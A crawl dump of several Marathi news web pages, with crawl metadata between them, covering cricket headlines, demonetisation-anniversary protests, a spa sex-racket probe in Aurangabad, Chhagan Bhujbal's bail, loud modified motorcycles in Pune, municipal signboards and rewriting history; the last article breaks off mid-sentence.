२०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00360.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://lokmat.news18.com/news/notebandi-one-year-happening-273850.html", "date_download": "2018-09-25T17:45:51Z", "digest": "sha1:BQJPEOVOEPBKIKAK36CO6EH2BD7KW7XX", "length": 15670, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "नोटबंदीची वर्षपूर्ती, दिवसभरात कुठे काय झालं ?", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nनोटबंदीची वर्षपूर्ती, दिवसभरात कुठे काय झालं \nनोटबंदीच्या वर्षपूर्तीचं निमित्त साधून आज विरोधकांनी देशभरात ठिकठिकाणी प्रतिकात्मक श्राद्ध घातलं. तर सरकारच्या वतीने या निर्णयाचं समर्थन करण्यासाठी मंत्र्यांची अख्खी फलटनच मैदानात उतरवली गेली होती. अगदी नितीन गडकरींपासून ते मुख्यमंत्र्यांपर्यंत सगळ्यांनीच वेळात वेळ काढून पत्रकार परिषदा काढून नोटबंदीचं जोरदार समर्थन केलं.\n08 नोव्हेंबर : नोटबंदीच्या वर्षपूर्तीचं निमित्त साधून आज विरोधकांनी देशभरात ठिकठिकाणी प्रतिकात्मक श्राद्ध घातलं. तर सरकारच्या वतीने या निर्णयाचं समर्थन करण्यासाठी मंत्र्यांची अख्खी फलटनच मैदानात उतरवली गेली होती. अगदी नितीन गडकरींपासून ते मुख्यमंत्र्यांपर्यंत सगळ्यांनीच वेळात वेळ काढून पत्रकार परिषदा काढून नोटबंदीचं जोरदार समर्थन केलं. एवढंच नाहीतर भाजपच्यावतीनं आजचा दिवस काळापैसा विरोधी दिवस म्हणूनही साजरा केला गेला. याउलट काँग्रेसने हाच दिवस भारतीय अर्थव्यवस्थेसाठी काळा दिवस म्हणून पाळला.\nशिवसेनेनं तर भाजपसोबत सत्तेत असूनही नोटबंदीविरोधात राज्यभर निदर्शनं केली. रिपाईने मात्र, चक्क नोटबंदीचं समर्थन करत आजचा दिवस व्हाईट मनी डे म्हणून साजरा केला. राष्ट्रवादीही नोटबंदीविरोधात आज राज्यभरात रस्त्यावर उतरल्याचं बघायला मिळाली. पुण्यात अजित पवार आणि सुप्रिया सुळेंनी या मोर्चाचं नेतृत्व केलं तर मुंबईत प्रदेशाध्यक्ष सुनील तटकरे आणि विरोधी पक्षनेते धनंजय मुंडेंनी नोटबंदी विरोधी मोर्चाचं नेतृत्वं केलं. नाशिकमध्येही शिवसेनेच्यावतीने गोदाकाठी नोटबंदीचं श्राद्ध घातलं.\nपुण्यातही विविध सामाजिक संघटनांनी नोटबंदीच्या वर्षपूर्तीनिमित्त नानाविध आंदोलनं केली. कोणी कॅन्डल मार्च काढले तर कुणी निषेधसभा घेतल्या. एकूणच कायतर आजचा पूर्ण दिवस सत्ताधारी आणि विरोधकांनी नोटबंदी वर्षपूर्तीसाठीच खर्ची घातल्याचं बघायला मिळालं. सरकारच्यावतीने नोटबंदीमुळे काळापैसा बाहेर आल्याचा दावा केला गेला तर विरोधकांनी नोटबंदीमुळे देशाची अर्थव्यवस्था कशी रसातळाला गेली हे पटवून देण्याचा जोरदार प्रयत्न केला. अर्थक्रांतीचे पुरस्कर्ते अनिल बोकील यांनी मात्र, नोटबंदीला आत्ताच पास-नापास ठरवणं थोडसं घाईचं ठरेल, अशी सारवासारव केली. एकूणच आजचा नोटबंदीचा वर्षपूर्तीचा दिवस राजकीय कार्यकर्ते आणि सामाजिक कार्यकर्त्यांसाठी 'फूल्ल ऑफ हॅपनिंग' होता.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: #नोटबंदीचा फायदा_तोटाdenomitisationone yearनोटबंदी\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00361.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.pudhari.news/news/Aurangabad/spa-sex-racket-issue-in-aurangabad/", "date_download": "2018-09-25T17:04:49Z", "digest": "sha1:HMOBRS7J436BAWDSX7W5LYMC7WMZCXDE", "length": 9276, "nlines": 55, "source_domain": "www.pudhari.news", "title": " औरंगाबाद सेक्स रॅकेट : प्रोझोनमधील ‘स्पा’चे जगभर ‘जाळे’ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Aurangabad › औरंगाबाद सेक्स रॅकेट : प्रोझोनमधील ‘स्पा’चे जगभर ‘जाळे’\nऔरंगाबाद सेक्स रॅकेट : ‘स्पा’चे जगभर ‘जाळे’\nआंतरराष्ट्रीय सेक्स रॅकेटप्रकरणी चर्चेत आलेल्या प्रोझोन मॉलमधील ‘अनंतरा आणि डी स्ट्रेस हब’ या ‘फॅमिली स्पा’चे जगभर ‘जाळे’ असल्याचे पोलिस तपासात उघड झाले. दर दोन महिन्याला ‘स्पा’ सेंटरमधील तरुणींना वेगवेगळ्या ठिकाणी पाठविले जात असल्याचा पोलिसांना संशय आहे. त्यादृष्टीने तपासाची चक्रे फिरविली जात असून, काही महत्त्वाच्या लिंक मिळाल्याचे पोलिस सूत्रांनी स्पष्ट केले.\nऔरंगाबाद शहर पोलिसांच्या विशेष पथकाने गुरुवारी (दि. 7) प्रोझोन मॉलमधील ‘अनंतरा व दी ट्रेस हब’ या दोन्ही ‘फॅमिली स्पा’मध्ये मसाज व कटिंगच्या नावाखाली सुरू असलेल्या आंतरराष्ट्रीय सेक्स रॅकेटचा पर्दाफाश केला होता. या कारवाईत पोलिसांनी देहविक्री करणार्‍या थायलंडच्या नऊ व दोन स्थानिक तरुणी, तसेच ‘स्पा’चा मुख्य व्यवस्थापक शशांक खन्नासह या कृत्यात सहभागी असलेले ‘स्पा’चे कर्मचारी सुनील कचरू नवतुरे (27, रा. मिसारवाडी), शेख तौफिक शेख अफसर (23, रा. बायजीपुरा, संजयनगर), राहुल माणिकराव नलावडे (28, रा. मिसारवाडी) या 14 जणांसह चार ग्राहकांना अटक केली होती. तसेच, आठ लाख रुपये रोकड आणि मोबाइल, लॅपटॉप मिळून साडेतेरा लाखांचा मुद्देमाल जप्त करण्यात आला होता. या प्रकरणी उपनिरीक्षक विद्या रणेर यांच्या फिर्यादीवरून एमआयडीसी सिडको ठाण्यात गुन्हा नोंद आहे.\nकंबोडिया, चीन, इंडोनेशिया, पोर्तुगाल, श्रीलंका, थायलंड, कतार, युनायटेड अरब अमिरात (यूएई), व्हिएतनाम, झाम्बिया, मोझाम्बिका आदी देशांत अनंतरा स्पा सेंटरच्या शाखा असल्याचे सूत्रांनी स्पष्ट केले.\nशशांक खन्नाचे सीडीआर तपासणार\nप्रोझोन मॉलमधील दोन्ही ‘स्पा’ सेंटरचा व्यवस्थापक असलेला शशांक यशदीप खन्ना (28, रा. मालाड, मुंबई) याला औरंगाबाद पोलिसांनी अटक केली असून, त्याने अद्यापपर्यंत तोंड उघडले नाही. परंतु, त्याच्या मोबाइलचा सीडीआर तपासला जाईल. त्यातून काही धागेदोरे हाती लागतात का, याचा पोलिस शोध घेत आहेत. देहविक्रीचा गोरखधंदा करणार्‍या मुख्य सूत्रधारापर्यंत आम्ही पोहोचलो आहोत. लवकरच मोठा मासा गळाला लागेल, असा दावा पोलिस उपायुक्‍त डॉ. दीपाली धाटे यांनी केला.\nप्रदीप शंकरलाल शर्मा (52, रा. पवननगर, टीव्ही सेंटर), रोहन राजेंद्र कुलकर्णी (26, रा. रिलायन्स पंपाजवळ, सिडको), अकीब अक्रम खान पटेल (23, रा. उस्मानपुरा) व इराकी विद्यार्थी येमेन अब्दुल हमीद जोसेम यांना ‘स्पा’ सेंटरमध्ये रंगेहाथ अटक केली होती. न्यायालयाने या सर्वांना 11 डिसेंबरपर्यंत पोलिस कोठडी सुनावली होती. दरम्यान, सोमवारी सर्वांना पुन्हा न्यायालयात हजर केले असता त्यांची न्यायालयाने जामिनावर सुटका केली, असे पोलिस निरीक्षक सुरेंद्र माळाळे यांनी सांगितले.\nतर्राट गावाची व्यथा, आरोग्य विभाग अद्याप झिंगलेलेच\nटाऊन हॉल, मनपा मुख्यालयाची इमारत ठेवणार गहाण\nऔरंगाबाद सेक्स रॅकेट : ‘स्पा’चे जगभर ‘जाळे’\nबियाणे विक्रेत्यांचे अटकपूर्व जामीन फेटाळले\nलोकसभेसाठी हळद लागताच खोतकरांची आमदारकी धोक्यात\nपाटबंधारे कार्यकारी अंभियंतावर कारवाई\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00362.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Nashik/Bhujbals-bail-Discussion/", "date_download": "2018-09-25T17:25:28Z", "digest": "sha1:IYSZRODQ3LBT4WQHF6IDK4GEL26SU6RS", "length": 7359, "nlines": 36, "source_domain": "www.pudhari.news", "title": " छगन भुजबळ: घोटाळ्याऐवजी जामिनाचीच चर्चा | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Nashik › छगन भुजबळ: घोटाळ्याऐवजी जामिनाचीच चर्चा\nछगन भुजबळ: घोटाळ्याऐवजी जामिनाचीच चर्चा\nबेहिशेबी मालमत्ता जमविल्याच्या आरोपावरून माजी उपमुख्यमंत्री छगन भुजबळ यांना पुतण्या समीर यांच्यासह अटक करण्याच्या घटनेला बुधवारी (दि.14) दोन वर्षे पूर्ण होत असून, या काळात भुजबळांच्या जामिनाचीच चर्चा सुरू आहे.\nगेल्या 14 मार्च 2016 रोजी बेहिशेबी मालमत्ता जमविल्याच्या आरोपावरून आधी माजी खासदार समीर भुजबळ यांना अटक करण्यात आली. त्यावेळी छगन भुजबळ परदेशात होते. भुजबळ भारतात येताच त्यांनाही अटक करण्यात आली. भुजबळांच्या व्हॉटस् अ‍ॅपवर पाठीत खंजीर खुपासल्याचा झळकलेला डीपी त्यावेळी चर्चेचा विषय ठरला होता. दरम्यानच्या काळात भुजबळांनी चौकशीला सहकार्य करीत जामिनासाठी वारंवार अर्ज केला. पण, तो फेटाळण्यात आला. त्यामुळे सूडबुद्धीने त्यांना तुरुंगात डांबून ठेवण्यात आल्याची भावना भुजबळ समर्थकांमध्ये बळावली. त्यातून त्यांनी ‘अन्याय पे चर्चा’ हा कार्यक्रम हाती घेतला.\nभुजबळांना मानणार्‍या परपक्षातील समर्थकांनाही या कार्यक्रमाच्या निमित्ताने व्यासपीठ उपलब्ध करून दिले गेले. विशेष म्हणजे, या कार्यक्रमात पक्षांतर्गत भुजबळ विरोधकांनीही पुढाकार घेतला. केवळ जिल्ह्यापुरताच हा कार्यक्रम मर्यादित न ठेवता राज्यभर विस्तारित करण्यात आला. महाराष्ट्र नवनिर्माण सेनेचे अध्यक्ष राज ठाकरे यांची त्यांच्या निवासस्थानी जाऊन भुजबळ समर्थकांनी भेट घेतली. त्यावेळी राज यांनी खासदार शरद पवार यांनी ठरविले तर भुजबळ बाहेर येतील, असे सांगत भुजबळांनी राबविलेली सत्ता व कार्यशैली यावर ठाकरी भाषेत प्रहार केल्याने ‘अन्याय पे चर्चा’ कार्यक्रम गुंडाळून ठेवण्यात आला. त्यामुळे भारिपचे अध्यक्ष प्रकाश आंबेडकर यांचीही भेट घेणे टळले. या कार्यक्रमाच्या आधी समता परिषदेच्या वतीने शहरात भव्य मोर्चा काढून भुजबळांना जोरदार पाठिंबा दर्शविण्यात आला होता.\nभुजबळांचे वाढते वय आणि वारंवार खालावणारी प्रकृती त्यांच्याविषयी सहानुभूती निर्माण करणारी ठरली. उत्तर महाराष्ट्रातील हल्लाबोल यात्रेचा समारोप नाशिकमध्ये करून जाहीर सभेत राष्ट्रवादी काँग्रेसच्या नेत्यांनी भुजबळांप्रति कळवळाही दाखविला. भुजबळांवर घोटाळ्याचा आरोप असला, तरी दरम्यानच्या काळात चर्चा रंगली ती केवळ आणि केवळ त्यांना नाकारल्या गेलेल्या जामिनाचीच, हे विशेष\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00362.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Bullet-noise-harms-the-common-people/", "date_download": "2018-09-25T17:45:07Z", "digest": "sha1:V7R3PETH5HMSELJ7PTFTNNKVOODTCNFQ", "length": 5873, "nlines": 37, "source_domain": "www.pudhari.news", "title": " बुलेटची फटाका सवारी आरटीओपर्यंत पोहचणार का? | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › बुलेटची फटाका सवारी आरटीओपर्यंत पोहचणार का\nबुलेटची फटाका सवारी आरटीओपर्यंत पोहचणार का\nपुणे : नवनाथ शिंदे\nशहरात मॉडीफाईड बुलेट फडाकड्यांच्या आवाजमुळे सर्वसामान्य नागरिकांना प्रचंड मनस्ताप सहन करावा लागत आहे. विशेषतः महाविद्यालयांच्या परिसरात बुलेट बहाद्दर सायलन्सद्वारे मोठमोठ्याने आवाज काढत ध्वनिप्रदुषणात वाढ करत आहेत. प्रामुख्याने डेक्कन, स्वारगेट, जंगली महाराज रस्ता, कर्वेनगर, कोथरुड, मांजरी, हडपसर परिसरात हा प्रकार दिसतो आहे..\nमोटार वाहन कायद्यानुसार वाहनात बदल करावयाच्या असल्यास प्रादेशिक परिवहन कार्यालयाची परवानगी घेणे बंधनकारक आहे. मात्र, केवळ फॅशनसाठी या बुलेटधारकांकडून गाड्यांमध्ये बदल केला जातो.\nसायलेन्सर आणि हातातील बटण सलग दाबून फटाक्यासारखा आवाज काढला जातो. प्रामुख्याने दुसर्‍या चालकाचे लक्ष आपल्याकडे खेचण्यासाठी असे आवाज काढले जात आहेत. त्यामुळे अचानकपणे कानावर पडलेल्या आवाजामुळे शेजारुन जाणार्‍या दुचाकीस्वारांचे लक्ष विचलित होते. या प्रकारांमुळे वाहनावरील नियत्रंण सुटून अपघाताच्या घटनाही घडल्या आहेत. विशेषतः महाविद्यालय परिसरात बुलेटस्वारांचा ताफा सकाळी आणि सायंकाळच्या सुमारास आवाज काढत मुलींमध्ये भीतीचे वातावरण पसरवत असल्याचे आढळून आले आहे.\nफॅशन आणि के्रझ जपण्यासाठी बुलेटस्वारांकडून आवाजासाठी खासपद्धतीने हॉर्नची रचना केली जाते. त्यासाठी स्टार्टर बटण आणि गाडीचे स्वीच सलग बंद चालू करत फटाक्यांसारखे आवाज काढले जात आहेत. त्यामुळे ग्रुपमध्ये एकत्रित बुलेटवर प्रवास करुन महाविद्यालयीन तरुणींसह नागरिकांना वेठीस धरणार्‍या या वाहनचालकांवर कारवाई करण्याची मागणी केली जात आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00362.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/When-does-the-policy-regarding-the-plates/", "date_download": "2018-09-25T17:15:17Z", "digest": "sha1:OHYM55K227ZNVY5ATUUF2TDWBJO4FNTA", "length": 7063, "nlines": 36, "source_domain": "www.pudhari.news", "title": " पाट्यांसंदर्भातील धोरण कधी? | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › पाट्यांसंदर्भातील धोरण कधी\nएकाच ठिकाणी एकाच नावाच्या चार-चार पाट्या नगरसेकांकडून लावण्यात आल्याचे चित्र शहरभर दिसते. पालिकेच्या पैशातून लावलेल्या या पाट्यांना राजकीय पक्षांच्या झेंड्यांचे रंग देऊन खुलेआम पक्षांचा प्रचार केला जात आहे. विशेष म्हणजे याबाबतीत पालिकेचे धोरण अस्तित्त्वात नसल्याचे लवकरच पाट्यांसंबंधी धोरण केले जाईल, अशी घोषणा महापौर आणि सभागृहनेत्यांनी एप्रिलमध्ये केली होती. मात्र अद्याप हे धोरण जाहीर केले नसल्याने ही घोषणा हवेतच विरली आहे. या उधळपट्टीला चाप लावण्यासाठी यासंबंधीचे धोरण कधी होणार, असा प्रश्‍न उपस्थित केला जात आहे. दरम्यान लवकरच यासंदर्भात पालिकेचे धोरण केले जाईल, असे आश्‍वासन पुन्हा सभागृहनेत्यांनी आणि पालिकेच्या अतिरिक्त आयुक्तांनी दिले आहे.\nमहापालिकेच्या वतीने शहराच्या विविध रस्त्यांवर दिशादर्शक कमानी, रस्त्यांची नावे, चौक, पुतळे, उद्याने, ऐतिहासिक वास्तू, नाट्यगृहे, सभागृह, लोकप्रतिनीधींची निवासस्थाने आदी ठिकाणी नावांसह पाट्या लावल्या जातात, असे असतानाही नगरसेवकांकडून पुन्हा याच ठिकाणी पाट्या आणि फलक लावले गेले आहेत. त्यातच चार सदस्यीय प्रभाग रचनेमुळे एकाच ठिकाणी एकाच नावाच्या चार-पाच पाट्या लावल्या जात आहेत. नगरसेवकांमधील हे ‘पाटीयुद्ध’ त्यावरील ‘संकल्पना’ किंवा ‘सौजन्य’ या ओळीमुळे सुरू झाले आहे.\nपालिकेच्या पैशातून उभारलेल्या कोणत्याही वस्तूवर राजकीय पक्षांचे अस्तित्त्व दिसू नये, असा संकेत आहे. हा संकेत धाब्यावर बसवत नगरसेवकांनी पाट्यांना पक्षाच्या झेंड्यांचे रंग देऊन, पक्षांचा खुलेआम प्रचार सुरू केला आहे. यामध्ये सत्ताधारी भाजपचे नगरसेवक आघाडीवर आहेत. सिंहगड रस्ता परिसरातील अनेक पाट्यांवर ‘पुणे महानगरपालिका’ ऐवजी ‘जय श्रीराम’ असे लिहिले आहे. असाच प्रकार शहराच्या इतर भागातही पाहायला मिळतो. पालिकेकडून आमदार, खासदार, मंत्री, महापौर, नगरसेवक, पालिकेतील पदाधिकारी यांच्या निवासस्थानाकडे जाणारे मार्ग दाखविणार्‍या पाट्या लावल्या जातात. हे लोकप्रतिनिधी आजी असताना लावलेल्या पाट्या त्यांचे पद गेल्यानंतर काढल्या जात नाहीत. त्यामुळे सगळीकडे पाट्यांचा सूळसुळाट पाहायला मिळतो.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00362.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.loksatta.com/desh-videsh-news/exaggerations-in-history-need-to-be-removed-from-time-to-time-says-chief-arvind-jamkhedkar-1663764/", "date_download": "2018-09-25T17:47:06Z", "digest": "sha1:2TVHCIF6JDBIM2KRWICSJ4AILVDS3QC2", "length": 12323, "nlines": 204, "source_domain": "www.loksatta.com", "title": "Exaggerations in history need to be removed from time to time says chief Arvind Jamkhedkar | ..म्हणून इतिहासाचे पुनर्लेखन आवश्यक – जामखेडकर | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\n..म्हणून इतिहासाचे पुनर्लेखन आवश्यक – जामखेडकर\n..म्हणून इतिहासाचे पुनर्लेखन आवश्यक – जामखेडकर\nइतिहासाचे पुनर्लेखन योग्य असले, तरी इतिहास संशोधनाच्या पद्धती या अचूक असण्याची गरज आहे.\nइतिहासाच्या पुनर्लेखनावरून देशात सध्या सुरू असलेला वाद अनावश्यक असून इतिहासातील काही अतिरंजित व चुकीच्या ठरलेल्या बाबी वेळोवेळी काढून टाकणे हा पुनर्लेखनातील खरा हेतू असतो, असे भारतीय इतिहास संशोधन परिषदेचे अध्यक्ष अरविंद जामखेडकर यांनी सांगितले.\nमनुष्यबळ विकास मंत्रालयाच्या अंतर्गत असलेल्या इतिहास परिषदेचे अध्यक्ष जामखेडकर म्हणाले, की इतिहासाचा अभ्यासक्रम ठरविण्यासाठी इतिहास परिषद नसते, तर इतिहासाच्या पुनर्लेखनासाठी लागणारे संशोधन करणे हा परिषदेचा उद्देश आहे. पुनर्लेखन हा इतिहास लेखनाचा एक भाग आहे. जेव्हा वसाहतवादाचा इतिहास लिहिला गेला, तेव्हा त्यात वेगळा दृष्टिकोन आवश्यक होता. या प्रकारचा इतिहास हा आर्थिक इतिहासाचा अभ्यास केल्याशिवाय लिहिता येणार नाही, असे प्रा. बी. बी. कोसंबी यांचे मत होते. प्रा. आर. एस. शर्मा, इरफान हबीब व इतरांनी इतिहासाचे पुनर्लेखन केले आहे. इतिहासाचे पुनर्लेखन योग्यच असते कारण आधीच्या इतिहासकारांच्या लेखनात काही त्रुटी राहिलेल्या असतात शिवाय नवीन संशोधनातून 